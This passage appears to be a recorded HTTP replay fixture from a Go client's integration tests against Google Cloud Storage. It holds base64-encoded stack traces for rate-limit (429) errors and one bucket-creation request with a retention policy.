XHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVRPT19NQU5ZX1JFUVVFU1RTLCBjYXRlZ29yeT1RVU9UQV9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPXVzYWdlTGltaXRzLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9dG9vTWFueVJlcXVlc3RzLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLkNMSUVOVF9RVU9UQV9FWENFRURFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlBST0pFQ1RfQlVDS0VUX09QX1JBVEVfVE9PX0hJR0g6IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YToxODQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjQyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmluc2VydChCdWNrZXRzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENyZWF0aW5nIGJ1Y2tldHMgdG9vIHF1aWNrbHksIHBsZWFzZSBzbG93IGRvd25cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1DTElFTlRfUVVPVEFfRVhDRUVERUQsIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2UuYnVja2V0Lm5hbWUsIG1lc3NhZ2U9VGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5idWNrZXQubmFtZSwgbWVzc2FnZT1UaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuLCByZWFzb249cmF0ZUxpbWl0RXhjZWVkZWQsIHJwY0NvZGU9NDI5fSBUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UFJPSkVDVF9CVUNLRVRfT1BfUkFURV9UT09fSElHSDogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5JbnNlcnRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydEJ1Y2tldC5qYXZhOjE4NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6NDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuaW5zZXJ0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ3JlYXRpbmcgYnVja2V0cyB0b28gcXVpY2tseSwgcGxlYXNlIHNsb3cgZG93blxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MjksIm1lc3NhZ2UiOiJUaGUgcHJvamVjdCBleGNlZWRlZCB0aGUgcmF0ZSBsaW1pdCBmb3IgY3JlYXRpbmcgYW5kIGRlbGV0aW5nIGJ1Y2tldHMuIn19" - } - }, - { - "ID": "836baafb4e98da80", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "103" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE0IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjYwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:51 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpNuySlLo4SanUdFJK3SGoCidNgWEW4mUuFDGMLLSzY-UUA3TJtN5_FLoLq7et7d1YSUDlOoGZY4a_GdewGQtsUwGdbHLz-bopObpzPy160Wm3UMpg" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1